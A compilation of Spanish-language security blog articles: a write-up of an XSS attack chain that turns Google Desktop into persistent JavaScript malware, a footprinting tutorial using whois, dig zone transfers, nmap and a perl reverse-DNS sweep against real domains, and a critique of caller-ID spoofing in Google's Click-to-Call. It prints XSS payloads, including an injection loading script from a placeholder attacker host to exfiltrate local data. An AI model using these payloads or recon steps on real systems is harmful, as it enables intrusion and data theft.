Google Desktop es una herramienta de escritorio ‘freeware’ popular ofrecida por Google. Tiene una interfase Web simple que hace posible usar el navegador para buscar información en la computadora local.

Existe un método de ataque contra la aplicación de ‘Google Desktop’ que permite a un individuo malicioso lograr acceso remoto y persistente a información sensible así como control completo del sistema afectado.

Este problema es el resultado de la integración entre el sitio Web de Google.com y la falla de Google Desktop al codificar salidas que contengan caracteres maliciosos o inesperados.

Este ataque representa un ejemplo real de una nueva generación de ataques a las computadoras. Estos ataques toman ventaja de las vulnerabilidades en aplicaciones Web y el poder cada vez mayor de los navegadores Web. El propósito es acceder remotamente a información privada. A diferencia de los ataques de penetración tradicionales, en este caso no hay necesidad de inyectar código binario.

En este ataque se utiliza código de JavaScript para controlar la funcionalidad de Google Desktop. El atacante puede secuestrar información confidencial del sistema y evadir los sistemas de protección de información como antivirus y firewalls.

El ataque pone énfasis en el peligro de la integración entre aplicaciones de escritorio y aplicaciones basadas en Web, ya que abre un hueco para los atacantes maliciosos al escalar sus privilegios al cruzar del ambiente Web al ambiente de escritorio.

Google Desktop

La aplicación de Google Desktop puede indexar y manejar una gran variedad de recursos incluyendo documentos de Office, archivos multimedia, archivos comprimidos, cache de historial Web, y sesiones de chat. Es posible también indexar y manejar documentos protegidos con contraseña y páginas web encriptadas, aunque estas características están deshabilitadas por default.

Google Desktop también puede monitorear la actividad del usuario al revisar y editar archivos, escribir y leer correos electrónicos y navegar por la Web. Crea copias en cache de la información y permite al usuario acceder a ella en otro momento. Por esta razón es posible buscar y acceder a la información desde el cache incluso después de que el correo electrónico original o archivo ya no exista en el sistema.

Google Desktop corre como un servidor Web local que esta ligado al puerto 4664 en la interfase de red del equipo local. Por seguridad, sólo responde a las solicitudes originadas desde el equipo local.

Integración de Google Desktop y el sitio público de Google.com

Un característica de la aplicación de Google Dektop es su similitud con el sitio Web de Google.com. Cuando se realizan búsquedas de información utilizando Google.com, además de presentar los resultados Web también se presentan los resultados que proporciona Google Desktop. Estos resultados de búsquedas locales los realiza la aplicación local de Google Desktop.

Esta característica puede resultar muy útil pero representa un grave riesgo de seguridad. Si se explota una vulnerabilidad de Cross Site Scripting (XSS) en Google.com contra un usuario de Google Desktop, un atacante malicioso puede acceder la porción local de la información de la computadora.

Este riesgo es mitigado en las versiones más actuales de Google Desktop ya que:

1. La integración de los resultados de Google Desktop con Google.com es opcional. Se puede deshabilitar mediante la opción de ‘Display’ en la ventana de ‘Desktop Preferences’.
2. Los resultados de la integración son parciales, solo se muestra un pequeño texto al usuario. Los contenidos completos del resultado únicamente pueden ser accedidos mediante la interfase local de Google Desktop.

Mecanismos de Protección

1. Filtrado de conexiones. El servidor Web corre en el equipo local por el puerto 4664. Únicamente maneja conexiones que se originen de y hacia el equipo local 127.0.0.1.
2. Firmas de protección. Cuando se instala, Google Desktop genera un llave aleatoria de 64 bits que se guarda en el registro fuse_data. Esta llave se utiliza para crear firmas únicas para diferentes páginas Web en el servidor Web local. Cada petición al servidor de Google Desktop local debe contener la firma para la petición específica. Esta firma cambia en cada equipo y en cada página Web. Este mecanismo de firmas proporciona una defensa contra ataques de XSS o Cross Site Request Forgery (CSRF). Para poder explotar esas vulnerabilidades, el atacante necesitaría conocer la firma válida del script vulnerable en el equipo local.

Vulnerabilidad de XSS en Google Desktop

La aplicación de Google Desktop permite al usuario realizar búsquedas de distintas formas. Una de ellas es la búsqueda de información bajo directorios específicos en el disco duro o en un dispositivo en red. Esta característica se puede configurar en la página de ‘Advanced Search’.

Se utiliza el parámetro under para realizar este tipo de búsquedas. El parámetro under puede ser pegajoso ya que los tres anteriores peticiones de under se regresan en la página de resultados. El parámetro de búsqueda under contiene una vulnerabilidad ya que es posible ejecutar scripts maliciosos utilizándolo. Por ejemplo:

under:<script>alert(‘Hacked’) :</script>

Para hacer la experiencia de navegación más rápida en el sitio Web de Google Desktop, las respuestas de las búsquedas relacionadas de Google Desktop contienen los contenidos de la página de ‘Advanced Search’ aunque se encuentran ocultos visualmente al usuario. Cuando el usuario da click en el enlace de ‘Advanced Search’ dentro de una página de búsqueda, está es cargada inmediatamente sin enviar una solicitud al servidor Web de Google Desktop.

Debido a que los parámetros de búsquedas avanzadas se incluyen en todas las páginas de búsqueda, desde el momento en que se ejecuta el comando under malicioso en la aplicación de Google Desktop, se queda pegado. Cada que un usuario realice una búsqueda por medio de la interfase Web de Google Desktop, el código malicioso de JavaScript también se ejecutará en el fondo.

Descripción del ataque

Este ataque puede saltarse los mecanismos de protección mencionados anteriormente y permitir a un atacante insertar código de JavaScript Malicioso en Google Desktop. Esto se realiza al tomar ventaja de la integración de Google Desktop con el sitio Google.com, así como de la vulnerabilidad de XSS descubierta en el parámetro under.

1. Explotar una vulnerabilidad de XSS en Google.com para incluir el código de JS. El vector inicial de ataque es la explotación de cualquier vulnerabilidad de XSS que se encuentre en el dominio de Google.com. El año pasado se descubrieron múltiples vulnerabilidades dentro de las aplicaciones y sitios de Google. La víctima debe acceder a una URL especialmente elaborada que apunte a una página Web vulnerable en: http://www.google.com. Esto se pude realizar al engañar al usuario para que de clic en el link malicioso utilizando ingeniería social o al tomar ventaja de las vulnerabilidades Web de otros sitios como lo que realizan los gusanos Samy y Yamanner. Después de que la víctima carga la página con la vulnerabilidad de XSS, se ejecuta el código malicioso de JavaScript. Este es el clásico ataque en Google.com que permite al atacante controlar el navegador de la víctima. La limitación es que el script únicamente puede interactuar con el dominio de Google.com.
2. Enviar una búsqueda estándar a Google.com en el fondo. En este paso, el código malicioso de JavaScript trata de encontrar la firma única de la página de búsquedas de Google Desktop que se encuentra instalada localmente. Envía una solicitud que corre en el fondo a Google.com, utilizando el objeto XmlHttpRequest. Por ejemplo: http://www.google.com/search?q=Nimrod.
3. Se adquiere la firma de la página de búsquedas de Google Desktop. Cuando se obtiene una respuesta de Google.com, la aplicación de Google Desktop la intercepta y agrega un enlace a Google Desktop. Este enlace tiene la siguiente estructura: http://127.0.0.1:4664/search&s=<UNIQUE_SIGNATURE>?q=<QUERY_STRING>

Utilizando expresiones regulares, el código malicioso que se inyecto en el paso 1, obtiene la firma única que es utilizada para el enlace de Google Desktop. Esta expresión regular puede tener la siguiente forma: ‘http://127.0.0.1:4664/search&s=([^?]+)?q=[^’]+’
Que se utiliza para obtener la firma única.

1. Infectar el navegador de la víctima. En este paso final el código de JavaScript salta al contexto de Google Desktop y lo infecta con un código malicioso y pegajoso de JavaScript. Esto se realiza al reemplazar la cadena estándar de búsqueda con la referencia maliciosa de JavaScript y al enviar una solicitud ciega (utilizando el IFRAME invisible por ejemplo) al Google Desktop:

http://127.0.0.1:4664/search&s=<UNIQUE_SIGNATURE>?q=<MALICIOUS_QUERY_STRING>
se transforma en:
http://127.0.0.1:4664/search&s=<STEP_3_ACQUIRED_SIGNATURE>?q=under:”<script src=’http://attacker/infect.js’></script>”
La respuesta a la solicitud ciega se carga en el IFRAME invisible y el código de JavaScript es ejecutado. En este punto el atacante tiene un control completo y persistente de la aplicación de Google Desktop de la víctima. El atacante puede realizar búsquedas de información privada en el equipo víctima y enviársela a http://attacker.

Características del ataque

La naturaleza de la vulnerabilidad explotada en este ataque permite al atacante instalar malware de JavaScript persistente. Cada vez que la víctima realice búsquedas utilizando Google Desktop, el script malicioso se ejecutará en el fondo sin llamar la atención. Ya que el payload malicioso es un código pequeño de HTML, se fusiona sin ser notado, dentro del código HTML legítimo del Google Desktop.

Control remoto. El malware de JavaScript puede ser controlado remotamente al cargar comandos dinámicos de un sitio Web externo utilizando la directiva de inclusión de JavaScript: <script src=’http://attacker/infect.js’>. Es posible utilizar plataformas como XSS Proxy para establecer comunicación bidireccional entre los equipos atacados y el atacante.

Control persistente. El malware de JavaScript se coloca como una de las últimas búsquedas del parámetro under. Si el usuario utiliza la búsqueda under varias veces seguidas, el script puede ser quitado del histórico. Sin embargo, para asegurarse de que el malware no es removido por las utilización del parámetro under del usuario, se puede configurar el código malicioso para que reinfecte el sistema cada vez que detecte la utilización del parámetro under. Esto se puede realizar al activar una búsqueda en Google Desktop que corra oculta.

Comportamiento tipo virus. El ataque afecta a la computadora local de la víctima y tiene un impacto similar a un virus/malware binario de computadoras. Sin embargo, difiere de los ataques tradicionales por varias razones:

1. El código malicioso no reside en el disco duro como un archivo binario que pueda atraer la atención de la víctima.
2. El atacante no necesita formas sofisticadas para cargar la lógica maliciosa; esto se realiza automáticamente por el navegador cada vez que se visitan páginas de Google Desktop.
3. El código malicioso es ejecutado por el navegador. No corre como un proceso propio.
4. Actualmente los antivirus y firewalls no pueden bloquear ataques de malware de JavaScript. El código malicioso puede mutar y encriptarse para evadir IDS.
5. Es posible extraer información de la computadora local y hacer que parezca como solicitudes codificadas a un sitio Web externo.

Impacto

Poder realizar búsquedas en la computadora local. Incluyendo documentos de Office, multimedia, correos (incluso los borrados), cache de historial Web, sesiones de Chat, cronología de actividades realizadas por el usuario en el equipo. Es posible hacer búsquedas por las palabras ‘confidencial’ o ‘secreto’ para encontrar información confidencial; búsquedas por ‘username’ o ‘password’ para obtener contraseñas; búsquedas por ‘banco’ para obtener información bancaria. La opción de ‘TimeLine View’ de Google Desktop presenta un log cronológico de los archivos editados por el usuario y los sitios Web visitados, así como versiones en cache de ambos.

Habilitar características deshabilitadas en Google Desktop. Las características que mayor impacto tienen en la seguridad son las siguientes: ‘Password-protected Office Documents’ permite a Google Desktop indexar archivos protegidos por contraseña. ‘Secure Pages /HTTPS in Web history’ permite a Google Desktop indexar páginas web seguras. Existe una vulnerabilidad de Google Desktop que puede ser utilizada para esconder estos cambios y que el usuario no pueda notarlos.

Búsqueda entre computadoras. Permite buscar páginas Web y documentos entre todas las computadoras de la víctima. Para activar esta característica se requiere que todas la máquinas tengan Google Desktop instalado y una cuenta de Google.

Control completo del sistema. Es posible lanzar aplicaciones por medio de la interfase Web de Google Desktop. Al enviar una solicitud desde Google Desktop se puede forzar al sistema atacado para que abra archivos automáticamente con su aplicación asociada. Es posible ejecutar archivos de tipo .exe. Por ejemplo: filetype:exe winword

Recomendaciones

1. Google desarrollo un parche que mitiga este ataque. Se recomienda actualizar la versión de Google Desktop.
2. Se deben evaluar los parámetros de seguridad del navegador Web.
3. Se debe deshabilitar la integración entre las aplicaciones Web públicas y las aplicaciones de escritorio.
4. Los vendedores de antivirus deben tomar en cuenta este riesgo y desarrollar formas creativas de detectar y defender contra este tipo de ataques de malware JavaScript.

Conclusiones

Por varias razones este ataque se puede considerar casi perfecto:

1. El footprint es pequeño y prácticamente indetectable.
2. Lo firewalls no pueden hacer nada para mitigar el ataque o el envío de información confidencial.
3. El software de antivirus no puede proteger a la víctima
4. El ataque es persistente entre diferentes sesiones y navegadores.
5. El impacto potencial es el control completo de la computadora víctima.

Este ataque fue posible gracias a una sola vulnerabilidad de XSS y a la integración entre el sitio de Google.com y la aplicación local de Google Desktop. Mientras que el ataque de XSS se considera inofensivo, combinado con aplicaciones de alta sensibilidad y capacidades poderosas como Google Desktop, su impacto se hace muy alto.

Referencias:
http://www.watchfire.com/resources/Overtaking-Google-Desktop.pdf
http://download.watchfire.com/googledesktopdemo/index.htm

Nombres de Dominio de la organización:
Para un hacker, el conocer la mayor información relacionada con la organización antes de lanzar un ataque es indispensable. Dentro de la información que es necesaria recopilar encontramos:

• Nombres de dominio de la organización.
• Bloques de red y direccionamiento IP de la organización.
• Proveedores de servicio de Internet de la organización.

A continuación se muestran algunas maneras de localizar dicha información.
Primeramente es importante mencionar que el ICANN es responsable de la coordinación y de la administración de los elementos técnicos de DNS’s para garantizar una resolución unívoca de los nombres, de manera que los usuarios de Internet puedan encontrar todas las direcciones válidas. Para ello, se encarga de supervisar la distribución de los identificadores técnicos únicos usados en las operaciones de Internet, y delegar los nombres de dominios de primer nivel (como .com, .info, etc.).
ICANN se encarga de administrar los nombres de dominio y direccionamiento IP mediante organizaciones alrededor de mundo. Las siguientes ligas corresponden a la representación de ICANN por regiones:

• Europa y África http://www.ripe.net
• Norte y Sur América http://www.arin.net
• Asia Pacifico http://www.apnic.net
• http://www.ripe.net

Ahora debemos buscar todos los dominios y subdominios que podamos encontrar. Podemos buscar tanto en Google como en la base de datos de whois para localizar los dominios así como el servidor de nombres al que esta asociado.

Lo primero que podemos hacer es identificar el responsable del dominio y su servidor de nombres asociado, esto nos sirve para comenzar a identificar segmentos de red, proveedores de servicios externos, redundancia en equipos, etc.

Desde una Terminal de un sistema *NIX podemos ejecutar la siguiente búsqueda:

slax ~ # whois itam.mx

DOMINIO: itam.mx

FECHA DE CREACION: 02-JAN-95
FECHA DE ULTIMA MODIFICACION: 05-JAN-05

ORGANIZACION: ITAM [itam1]
DOMICILIO: Mexico, D.F., Mexico

CONTACTO ADMINISTRATIVO: Uciel Fragoso Rodriguez [uciel]
DOMICILIO: Mexico, D.F., Mexico

CONTACTO TECNICO: Uciel Fragoso Rodriguez [uciel]
DOMICILIO: Mexico, D.F., Mexico

CONTACTO DE PAGO: Uciel Fragoso Rodriguez [uciel]
DOMICILIO: Mexico, D.F., Mexico

SERVIDOR PRIMARIO: turing2.itam.mx
IP PRIMARIO: 148.205.228.11

SERVIDOR SECUNDARIO: remo.itam.mx
IP SECUNDARIO: 148.205.228.17

SERVIDOR SECUNDARIO: name.roc.gblx.net

SERVIDOR SECUNDARIO: name.phx.gblx.net

Con la información obtenida en el ejemplo anterior, podemos apreciar lo siguiente:

• Nombre del contacto.
• Fecha de creación de dominio.
• DNS, de los cuales 2 son administrados por la organización y 2 por externos.

Cuando ya contamos con los servidores DNS de la organización podemos realizar peticiones directas a los mismos. A continuación muestro las diferentes tipos de consultas que podemos realizar:

• SOA (State of authority)- Muestra quien es el servidor DNS primario.
• NS (Name Server) Muestra quienes son los servidores DNS de un dominio.
• MX (Mail Exchanger) Muestra quien se encarga de entregar correo para un dominio.
• ANY (Any Query) Busca cualquier registro contenido en la zona.
• TXT (Text Query) Busca registros de texto.
• AXFR- (Zone transfer) Trae todos los registros almacenados en una zona DNS.
• A (Address). Muestra el registro para traducir nombre de host a direcciones IP.
• CNAME (Canonical Name). Se usa para crear nombres de hosts adicionales, o alias, para los hosts de un dominio.

Existen dos consultas claves que debemos realizar siempre, la ANY y la AXFR. Es importante mencionar que no todos los servidores DNS permiten búsquedas del tipo AXFR ya que es considerada una mala practica, este tipo de búsquedas deben ser restringidas solamente entre un servidor primario y uno secundario. ¿Que herramientas nos permiten realizar estas búsquedas?

• SamSpace
• Dig
• Host
• Nslookup
• Dsnwalk
• Etc.

En este caso utilizaremos dig para realizar las búsquedas.

- La búsqueda any nos permite conocer todos los equipos NS,MX,SOA, A de un dominio:

slax ~ # dig any @148.205.228.11 itam.mx

; <<>> DiG 9.3.1 <<>> any @148.205.228.11 itam.mx
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59063
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 18, AUTHORITY: 0, ADDITIONAL: 7

;; QUESTION SECTION:
;itam.mx. IN ANY

;; ANSWER SECTION:
itam.mx. 600 IN A 148.205.228.219
itam.mx. 3600 IN A 148.205.148.5
itam.mx. 600 IN A 148.205.36.229
itam.mx. 600 IN A 148.205.133.22
itam.mx. 600 IN A 148.205.228.17
itam.mx. 600 IN A 148.205.52.10
itam.mx. 600 IN A 148.205.228.11
itam.mx. 600 IN A 148.205.40.4
itam.mx. 600 IN A 148.205.40.11
itam.mx. 600 IN A 148.205.228.27
itam.mx. 3600 IN NS artemisa2.itam.mx.
itam.mx. 3600 IN NS turing2.itam.mx.
itam.mx. 3600 IN NS remo.itam.mx.
itam.mx. 3600 IN NS name.phx.gblx.net.
itam.mx. 3600 IN NS name.roc.gblx.net.
itam.mx. 3600 IN SOA turing2.itam.mx. uciel.itam.mx. 2002068227 3600 600 1209600 3600
itam.mx. 3600 IN MX 10 stockton.itam.mx.
itam.mx. 3600 IN MX 10 malone.itam.mx.

;; ADDITIONAL SECTION:
artemisa2.itam.mx. 3600 IN A 148.205.40.11
turing2.itam.mx. 3600 IN A 148.205.228.11
remo.itam.mx. 3600 IN A 148.205.228.17
name.phx.gblx.net. 39355 IN A 206.165.6.10
name.roc.gblx.net. 56775 IN A 209.130.187.10
stockton.itam.mx. 3600 IN A 148.205.228.32
malone.itam.mx. 3600 IN A 148.205.228.6

;; Query time: 193 msec
;; SERVER: 148.205.228.11#53(148.205.228.11)
;; WHEN: Mon Aug 7 14:28:11 2006
;; MSG SIZE rcvd: 506

- La búsqueda axfr es un poco diferente a la any ya que no permite hacer un intercambio de Zonas de transferencia. Esto quiere decir que nos enviara toda su zona con la cual podremos tener todos los nombres de los equipos registrados en el dominio.

slax ~ # dig axfr @148.205.228.11 itam.mx

; <<>> DiG 9.3.1 <<>> axfr @148.205.228.11 itam.mx
; (1 server found)
;; global options: printcmd
itam.mx. 3600 IN SOA turing2.itam.mx. uciel.itam.mx. 2002068242 3600 600 1209600 3600
itam.mx. 3600 IN NS artemisa2.itam.mx.
itam.mx. 3600 IN NS turing2.itam.mx.
itam.mx. 3600 IN NS remo.itam.mx.
itam.mx. 3600 IN NS name.phx.gblx.net.
itam.mx. 3600 IN NS name.roc.gblx.net.
itam.mx. 3600 IN MX 10 stockton.itam.mx.
itam.mx. 3600 IN MX 10 malone.itam.mx.
0r3dac14d.itam.mx. 1200 IN A 148.205.197.15
eventos.itam.mx. 3600 IN CNAME ddip.itam.mx.
www.eventos.itam.mx. 3600 IN CNAME ddip.itam.mx.
exalumnos.itam.mx. 3600 IN CNAME ddip.itam.mx.
www.exalumnos.itam.mx. 3600 IN CNAME ddip.itam.mx.
exalumnos_conta.itam.mx. 3600 IN CNAME phobos.itam.mx.
executivemba.itam.mx. 3600 IN CNAME phobos.itam.mx.
www.executivemba.itam.mx. 3600 IN CNAME phobos.itam.mx.
expo-itam.itam.mx. 1200 IN A 148.205.220.21
extension.itam.mx. 3600 IN CNAME titan2.itam.mx.
edit.extension.itam.mx. 3600 IN CNAME titan2.itam.mx.
etc
etc
etc

Los resultados anteriores nos permiten determinar muchas cosas relativas al direccionamiento así como los subdominios de la organización de quien estamos recopilando información.

En el caso del dominio ITAM, se puede determinar que su bloque de red es 148.205.228.X y además la identificación del tipo de nombres que utilizan para sus equipos.

Otra forma es hacer la búsqueda es mediante google:

inurl:itam.mx

La búsqueda anterior nos permite conocer subdominios del itam.mx

Bloques de red

Con la información encontrada anteriormente ya es posible determinar los bloques de red que tiene una organización, y conocer si algunos servicios están hosteados.

Sigamos el rastro del dominio iss.net

slax ~ # whois iss.net

Registrant:
Internet Security Systems, Inc.
6303 Barfield Rd
Atlanta, GA 30328
US

Domain Name: ISS.NET

Administrative Contact, Technical Contact:
Internet Security Systems Inc. iss-dnsadmin@ISS.NET
6303 BARFIELD RD NE
ATLANTA, GA 30328-4233
US
(404) 236-2600 fax: (404) 236-2614

Record expires on 29-Jun-2012.
Record created on 30-Jun-1994.
Database last updated on 10-Aug-2006 12:17:24 EDT.

Domain servers in listed order:

EHECATL.ISS.NET 209.134.161.10
SFLD-NS1.NETREX.COM 207.231.129.132

Con la información anterior podemos determinar que el servidor primario de DNS es administrado por la organización. Ahora realizaremos una búsqueda ANY.

slax ~ # dig any @209.134.161.10 iss.net

; <<>> DiG 9.3.1 <<>> any @209.134.161.10 iss.net
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65516
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 5

;; QUESTION SECTION:
;iss.net. IN ANY

;; ANSWER SECTION:
iss.net. 60 IN SOA ehecatl.iss.net. iss-dnsadmin.is s.net. 2006080802 3600 1800 604800 3600
iss.net. 60 IN NS sfld-ns1.netrex.com.
iss.net. 60 IN NS ehecatl.iss.net.
iss.net. 60 IN MX 10 colo-mx1.iss.net.
iss.net. 60 IN MX 10 sfld-mx1.iss.net.
iss.net. 60 IN MX 5 atla-mx1.iss.net.
iss.net. 60 IN A 209.134.161.35

;; ADDITIONAL SECTION:
ehecatl.iss.net. 60 IN A 209.134.161.10
sfld-ns1.netrex.com. 3600 IN A 207.231.129.132
atla-mx1.iss.net. 60 IN A 209.134.161.6
colo-mx1.iss.net. 60 IN A 12.129.100.18
sfld-mx1.iss.net. 60 IN A 207.231.129.133

;; Query time: 353 msec
;; SERVER: 209.134.161.10#53(209.134.161.10)
;; WHEN: Mon Aug 7 15:55:37 2006
;; MSG SIZE rcvd: 300

De la información de la búsqueda podemos determinar que existen dos bloques diferentes de red que responden a equipos tipo A del dominio principal los cuales son:

• 209.134.161.X
• 207.231.129.X

Cada uno de ellos de diferentes ISP, con lo cual podemos comenzar a realizar un mapa de la arquitectura de Red de la organización.

Lo que se hará a continuación es resolver cada unos de los equipos en los diferentes bloques de red, para de esta manera identificar los equipos de la organización.

¿Qué herramientas pueden ayudarnos a esto?

• Nmap
• Host
• Nslookup
• Etc.

Si deseamos realizar la tarea con nmap, el comando que se sugiere utilizar es el siguiente:

‘nmap -sL -P0 –dns-server DNS Red –R’

>>nmap -sL -P0 –dns-servers 209.134.161.10 209.134.161.1/24

Starting Nmap 4.01 ( http://www.insecure.org/nmap ) at 2006-12-04 16
Failed to resolve given hostname/IP: ûR. Note that you can’t use ‘/
e IP ranges
Host 209.134.161.0 not scanned
Host 209.134.161.1 not scanned
Host atla-ngw5-a-ext.iss.net (209.134.161.2) not scanned
Host atla-ngw5-b-ext.iss.net (209.134.161.3) not scanned
Host 209.134.161.4 not scanned
Host 209.134.161.5 not scanned
Host atla-mx1.iss.net (209.134.161.6) not scanned
Host lists.it-isac.org (209.134.161.7) not scanned

También es posible realizar la resolución de nombres utilizando ‘host’ y ‘perl’:

perl -e ‘for ($x=1;$x<=254;$x++){system “host 209.134.161.$x 209.134.161.10″}’

Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

Host 1.161.134.209.in-addr.arpa not found: 3(NXDOMAIN)
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

2.161.134.209.in-addr.arpa domain name pointer atla-ngw5-a-ext.iss.net.
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

3.161.134.209.in-addr.arpa domain name pointer atla-ngw5-b-ext.iss.net.
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

6.161.134.209.in-addr.arpa domain name pointer atla-mx1.iss.net.
Using domain server:
Name: 209.134.161.10
Address: 209.134.161.10#53
Aliases:

Realizando la misma búsqueda sobre el otro servidor de dominio y el otro segmento de red nos da el siguiente resultado:

perl -e ‘for ($x=1;$x<=254;$x++){system “host 207.231.129.$x 207.231.129.132″}’ | grep iss.net

5.129.231.207.in-addr.arpa domain name pointer sfld-ngw1a.iss.net.
6.129.231.207.in-addr.arpa domain name pointer sfld-ngw1.iss.net.
7.129.231.207.in-addr.arpa domain name pointer sfld-ngw1b.iss.net.
9.129.231.207.in-addr.arpa domain name pointer sfld-mss-fw1.iss.net.
11.129.231.207.in-addr.arpa domain name pointer sfld-mss-fw1.mss.iss.net.
12.129.231.207.in-addr.arpa domain name pointer sfld-mss-fw2.mss.iss.net.
18.129.231.207.in-addr.arpa domain name pointer sfld-perim1.iss.net.
19.129.231.207.in-addr.arpa domain name pointer sfld-perim2.iss.net.
24.129.231.207.in-addr.arpa domain name pointer sfld-raw1.iss.net.
25.129.231.207.in-addr.arpa domain name pointer sfld-raw2.iss.net.
68.129.231.207.in-addr.arpa domain name pointer sfld-netrwww.mss.iss.net.129.231.207.in-addr.arpa.
133.129.231.207.in-addr.arpa domain name pointer sfld-mx1.iss.net.
134.129.231.207.in-addr.arpa domain name pointer sfld-mx2.iss.net.
196.129.231.207.in-addr.arpa domain name pointer soudom001.iss.net.
197.129.231.207.in-addr.arpa domain name pointer soumaiexcp01.iss.net.
198.129.231.207.in-addr.arpa domain name pointer soumaiwebp01.iss.net.
199.129.231.207.in-addr.arpa domain name pointer bkup-sfld01.iss.net.
200.129.231.207.in-addr.arpa domain name pointer soufil002.iss.net.
201.129.231.207.in-addr.arpa domain name pointer souprn001.iss.net.
202.129.231.207.in-addr.arpa domain name pointer soubacnbup01.iss.net.
203.129.231.207.in-addr.arpa domain name pointer sfld-rad2.iss.net.
204.129.231.207.in-addr.arpa domain name pointer sfld-remedy1.mss.iss.net.
205.129.231.207.in-addr.arpa domain name pointer sfld-fax1.iss.net.
211.129.231.207.in-addr.arpa domain name pointer sfld-ccur.iss.net.
212.129.231.207.in-addr.arpa domain name pointer soudom002.iss.net.
213.129.231.207.in-addr.arpa domain name pointer soumaipmfp01.iss.net.

De esta manera podemos identificar los segmentos de red de una organización así como los equipos que cuentan con un registro en el servidor de dominio.

Para aquellas personas a las que no les guste trabajar en línea de comandos, BiDiBlAH de Sensepost es una herramienta que nos permite realizar estas búsquedas de manera automatizada. A continuación se muestran una serie de pantallas utilizando la herramienta mencionada anteriormente.

La información de nombres de dominio y bloques de red brinda a los hackers (o penetrations testers) mucha información para la creación de la arquitectura de red de la organización, además de que constituye el preámbulo para la detección de servicios públicos de la misma.

La siguiente parte del artículo, se enfocara a la detección ser servicios Públicos donde se trataran cosas desde nombres de host hasta escaneos de puertos, así como la obtención de versiones de servicios.

Google ha puesto a la disposición un nuevo servicio llamado ‘Click to Call’ que conectará automáticamente a los usuarios con las listas de teléfonos de negocios que se encuentren mediante los resultados de búsquedas en Google.

Google está realizando las primeras pruebas para implementar en su programa publicitario AdWords el sistema ‘Click-To-Call’. Con él, algunos anuncios incluyen un icono de un teléfono verde, que si lo pulsamos nos pedirá que introduzcamos nuestro número de teléfono. Tras escribirlo y pulsar el botón ‘Connect For Free’, Google llama a ese número. Cuando descolgamos, se produce una comunicación entre nosotros y el anunciante, con el cual podemos hablar sobre cualquier duda de manera completamente gratuita.

Servicio ‘Click to Call’ de Google

Google no proporcionará en ningún momento nuestro teléfono al anunciante, e incluso aseguran que borrarán el dato de sus servidores “tras un corto periodo de tiempo”. El usuario, sin embargo, sí que podrá saber el número de teléfono del anunciante.

Este sistema, conocido también como ‘Pay-per-Call’, está implementándose con fuerza en la publicidad online, y permite a los anunciantes, por un poco más de dinero, que sus posibles clientes aclaren vía telefónica cualquier duda sobre el producto. El desarrollo de la tecnología VoIP (voz sobre Internet) podría popularizar aún más esta nueva funcionalidad.

Para que este servicio pueda funcionar, el usuario debe proporcionar su número de teléfono para que Google pueda hacer un bridge de la llamada gratuita entre el negocio y el usuario (incluyendo llamadas de larga distancia).

Un problema con este tipo de servicio es que no hay manera de validar el número de teléfono que el usuario proporciona. Google menciona que tienen mecanismos para evitar llamadas de broma repetidas, pero existe un gran potencial para hacer un mal uso de este servicio.

Otra preocupación es que Google menciona que manipulará el valor del ‘Caller-ID’ en las llamadas hechas al número que proporcionó el usuario, para que despliegue que la llamada proviene del negocio con quien se quiere hacer la llamada. Esto es un grave problema, ya que puede ser utilizado para convencer a una víctima de que esta siendo llamada directamente desde el negocio en cuestión, y el negocio verdadero puede ser objeto de reclamaciones acerca de llamadas que nunca realizó.

La explicación de Google para esta manipulación en el ‘Caller-ID’ es que es útil tener el número del negocio registrado para poder realizar llamadas posteriores. Esto es cierto, sin embargo, el riesgo del abuso que se puede hacer utilizando esta característica es demasiado alto. La mejor práctica es que el campo del ‘Caller-ID’ NUNCA debe ser falsificado.

Una posible solución para este problema, sería que el campo del ‘Caller-ID’ anunciara a ambas partes (usuario y negocio) que la llamada proviene de Google. Se podría hacer incluso que el campo del ‘Caller-Id’ despliegue un número gratuito de contacto hacia Google. Al marcar a dicho número pudiera existir una grabación que explique que la llamada se originó del servicio de Google ‘Click to Call’ e incluso dar opciones (página web, dirección de correo, otro número de teléfono, etc.) para reportar abusos que se estén realizando con este sistema. Esta opción seria benéfica para todas las partes; Google podría identificar y detener a los usuarios que estén realizando abusos del sistema y el servicio sería más amigable para los usuarios y negocios.

Ligas:

http://www.google.com/help/faq_clicktocall.html
http://www.webpronews.com/insiderreports/searchinsider/wpn-49-20061120GooglesClickToCallRipeForAbuse.html

En la vida cotidiana de hacker o un penetration tester la obtención de la mayor cantidad de información del objetivo (u cliente) es una tarea sumamente necesaria para poder definir el ámbito en que será analizado (atacado) el objetivo, las condiciones de las pruebas a realizar y la medición de los tiempos que tomaran los ataques. Esto nos da un perfil completo de las políticas de seguridad del objetivo a atacar. Seguir el rastro es, con frecuencia, la tarea mas ardua a la hora de determinar la filosofía de seguridad de una empresa, sin embargo, es una de las tareas más importantes.

Entre la información que debemos recolectar se encuentra:

• Información descubierta en fuentes publicas.
• Nombres de dominio.
• Segmentos de red
• Servicios públicos ofrecidos.
• Arquitectura de los sistemas visibles.

Aunque muchas técnicas de rastreo de información son muy parecidas resulta muy difícil dar una guía paso a paso para efectuar el seguimiento a esta información. El objetivo en este artículo es enumerar los pasos básicos que se pueden utilizar en la mayoría de los casos. Es importante mencionar que los pasos no son consecutivos, ni lineales, ni únicos; la información recabada en cada punto a tratar puede ser utilizada o necesaria para otros. No se darán ejemplos de todas las técnicas ni tipo de información buscada, pero si se dejaran las bases para dejar volar la imaginación y crear otros caminos.

La mayoría de las pruebas o tareas a realizar son casi indetectables por los administradores de red ya que muchas son búsquedas de información sin tocar la infraestructura del objetivo. Es importante mencionar que algunas de las técnicas mostradas a continuación (como escaneos de puertos) son ilegales en muchas partes del mundo a menos que se cuente con permiso explicito de la organización.

El articulo fue pensado para salir en una sola entrega pero por le tamaño del mismo sera liberado en diferentes articulos mas pequeños.

Información descubierta en fuentes publicas ( Inteligencia competitiva).

Toda organización moderna tiene presencia en Internet, la gran cantidad de información que puede ser obtenida en Internet es increíble. ¿Que tipo de información es posible encontrar?:

• Ubicaciones físicas y logias.
• Compañías o entidades relacionadas.
• Noticias.
